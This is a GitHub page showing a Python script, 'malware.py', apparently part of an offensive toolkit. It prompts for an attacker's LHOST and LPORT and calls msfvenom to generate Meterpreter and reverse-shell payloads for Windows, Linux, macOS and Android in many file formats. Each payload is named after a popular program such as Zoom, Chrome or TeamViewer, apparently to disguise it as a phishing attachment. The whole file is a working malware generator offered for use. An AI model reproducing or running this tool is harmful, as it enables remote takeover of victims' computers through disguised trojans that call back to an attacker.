-
Notifications
You must be signed in to change notification settings - Fork 5
Expand file tree
/
Copy pathmalware.py
More file actions
187 lines (170 loc) · 10 KB
/
malware.py
File metadata and controls
187 lines (170 loc) · 10 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
import os
import random
import subprocess
import time
from colorama import Fore, Style, init
from termcolor import colored
from tabulate import tabulate
from utils import is_valid_ip, is_valid_domain, is_valid_port, prompt_input
init(autoreset=True)
popular_program_names = [
'AdobeReader', 'MicrosoftOffice', 'GoogleChrome', 'MozillaFirefox', 'Skype',
'WhatsApp', 'Discord', 'Steam', 'iTunes', 'WinRAR', '7zip', 'TeamViewer',
'AnyDesk', 'Zoom', 'Slack', 'MicrosoftTeams', 'VisualStudio', 'AndroidStudio',
'Eclipse', 'NetBeans', 'IntelliJ', 'PyCharm', 'SublimeText', 'Atom',
'Notepad++', 'FileZilla', 'PuTTY', 'WinSCP', 'Git', 'GitHubDesktop',
'VisualStudioCode', 'Brackets', 'LightTable', 'RStudio', 'Tableau'
]
def create_malware_windows(lhost, lport):
file_extensions = [".exe", ".ps1", ".py", ".msi", ".vba", ".dll", ".asp", ".hex", ".c", ".pl"]
for extension in file_extensions:
program_name = random.choice(popular_program_names)
malware_name = f"{program_name}{extension}"
malware_path = os.path.join('./attachments/malwares/', malware_name)
command = get_command("windows", extension, lhost, lport, malware_path)
try:
subprocess.run(command, shell=True, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
print(colored(f"Loading | {malware_name} | Windows | x86/windows/meterpreter/reverse_tcp", 'blue', attrs=['bold']))
time.sleep(0.1)
print(colored(f"Done | {malware_name} | Windows | x86/windows/meterpreter/reverse_tcp", 'green', attrs=['bold']))
except subprocess.CalledProcessError:
print(colored(f"Error: Failed to create malware {malware_name} for Windows.", 'red'))
def create_malware_linux(lhost, lport):
file_extensions = [".sh", ".py", ".pl", ".php", ".elf", ".hex", ".c"]
for extension in file_extensions:
program_name = random.choice(popular_program_names)
malware_name = f"{program_name}{extension}"
malware_path = os.path.join('./attachments/malwares/', malware_name)
command = get_command("linux", extension, lhost, lport, malware_path)
try:
subprocess.run(command, shell=True, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
print(colored(f"Loading | {malware_name} | Linux | x86/Linux/meterpreter/reverse_tcp", 'blue', attrs=['bold']))
time.sleep(0.1)
print(colored(f"Done | {malware_name} | Linux | x86/Linux/meterpreter/reverse_tcp", 'green', attrs=['bold']))
except subprocess.CalledProcessError:
print(colored(f"Error: Failed to create malware {malware_name} for Linux.", 'red'))
def create_malware_macos(lhost, lport):
file_extensions = [".macho", ".osx-app", ".sh", ".py", ".php"]
for extension in file_extensions:
program_name = random.choice(popular_program_names)
malware_name = f"{program_name}{extension}"
malware_path = os.path.join('./attachments/malwares/', malware_name)
command = get_command("macos", extension, lhost, lport, malware_path)
try:
subprocess.run(command, shell=True, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
print(colored(f"Loading | {malware_name} | MacOS | x86/MacOS/meterpreter/reverse_tcp", 'blue', attrs=['bold']))
time.sleep(0.1)
print(colored(f"Done | {malware_name} | MacOS | x86/MacOS/meterpreter/reverse_tcp", 'green', attrs=['bold']))
except subprocess.CalledProcessError:
print(colored(f"Error: Failed to create malware {malware_name} for MacOS.", 'red'))
def create_malware_android(lhost, lport):
file_extensions = [".c", ".py", ".pl", ".sh"]
for extension in file_extensions:
program_name = random.choice(popular_program_names)
malware_name = f"{program_name}{extension}"
malware_path = os.path.join('./attachments/malwares/', malware_name)
command = get_command("android", extension, lhost, lport, malware_path)
try:
subprocess.run(command, shell=True, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
print(colored(f"Loading | {malware_name} | Android | android/meterpreter/reverse_tcp", 'blue', attrs=['bold']))
time.sleep(0.1)
print(colored(f"Done | {malware_name} | Android | android/meterpreter/reverse_tcp", 'green', attrs=['bold']))
except subprocess.CalledProcessError:
print(colored(f"Error: Failed to create malware {malware_name} for Android.", 'red'))
def get_command(os_type, extension, lhost, lport, malware_path):
commands = {
"windows": {
".exe": f"msfvenom -p windows/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f exe -o {malware_path}",
".ps1": f"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f psh -o {malware_path}",
".py": f"msfvenom -p python/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -o {malware_path}",
".msi": f"msfvenom -p windows/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f msi -o {malware_path}",
".vba": f"msfvenom -p windows/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f vba -o {malware_path}",
".dll": f"msfvenom -p windows/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f dll -o {malware_path}",
".asp": f"msfvenom -p windows/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f asp -o {malware_path}",
".hex": f"msfvenom -p windows/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f hex -o {malware_path}",
".c": f"msfvenom -p windows/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f c -o {malware_path}",
".pl": f"msfvenom -p windows/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f pl -o {malware_path}",
},
"linux": {
".sh": f"msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f sh -o {malware_path}",
".py": f"msfvenom -p python/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -o {malware_path}",
".pl": f"msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f pl -o {malware_path}",
".php": f"msfvenom -p php/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -o {malware_path}",
".elf": f"msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f elf -o {malware_path}",
".hex": f"msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f hex -o {malware_path}",
".c": f"msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f c -o {malware_path}",
},
"macos": {
".macho": f"msfvenom -p osx/x86/shell_reverse_tcp LHOST={lhost} LPORT={lport} -f macho -o {malware_path}",
".osx-app": f"msfvenom -p osx/x86/shell_reverse_tcp LHOST={lhost} LPORT={lport} -f osx-app -o {malware_path}",
".sh": f"msfvenom -p osx/x86/shell_reverse_tcp LHOST={lhost} LPORT={lport} -f sh -o {malware_path}",
".py": f"msfvenom -p python/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -o {malware_path}",
".php": f"msfvenom -p php/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -o {malware_path}",
},
"android": {
".c": f"msfvenom -p android/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f c -o {malware_path}",
".py": f"msfvenom -p python/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -o {malware_path}",
".pl": f"msfvenom -p android/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f pl -o {malware_path}",
".sh": f"msfvenom -p android/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f sh -o {malware_path}",
},
}
return commands[os_type][extension]
def create_malware():
malware_types = [
("1", "Windows"),
("2", "Linux"),
("3", "MacOS"),
("4", "Android"),
("5", "All"),
]
headers = ["#", "Malware Type"]
table_data = [(str(idx).center(2), item[1]) for idx, item in enumerate(malware_types, 1)]
print(colored("Select a malware type::", 'light_yellow'))
print(tabulate(table_data, headers, tablefmt="psql"))
while True:
choice = prompt_input(Fore.RED + "> " + Fore.CYAN + "Enter the number corresponding to the malware type " + Fore.RED + " = > " + Style.RESET_ALL)
if choice == "back":
return
try:
choice = int(choice)
if 1 <= choice <= len(malware_types):
malware_type = malware_types[choice - 1][1]
break
else:
print("Invalid selection. Please try again.")
except ValueError:
print("Invalid input. Please enter a number.")
while True:
lhost = prompt_input(
Fore.RED + "> " + Fore.CYAN + "Enter the LHOST value" + Fore.RED + " = > " + Style.RESET_ALL)
if lhost == "back":
return
if is_valid_ip(lhost) or is_valid_domain(lhost):
break
else: print("Invalid LHOST! Please enter a valid IP address or domain.")
while True:
lport = prompt_input(
Fore.RED + "> " + Fore.CYAN + "Enter the LPORT value" + Fore.RED + " = > " + Style.RESET_ALL)
if lport == "back":
return
if is_valid_port(lport):
break
else:
print("Invalid LPORT! Please enter a port number between 1 and 65535.")
if malware_type == "Windows":
create_malware_windows(lhost, lport)
elif malware_type == "Linux":
create_malware_linux(lhost, lport)
elif malware_type == "MacOS":
create_malware_macos(lhost, lport)
elif malware_type == "Android":
create_malware_android(lhost, lport)
elif malware_type == "All":
create_malware_windows(lhost, lport)
create_malware_linux(lhost, lport)
create_malware_macos(lhost, lport)
create_malware_android(lhost, lport)
if __name__ == "__main__":
while True:
print("\nMalware Creation Tool")
create_malware()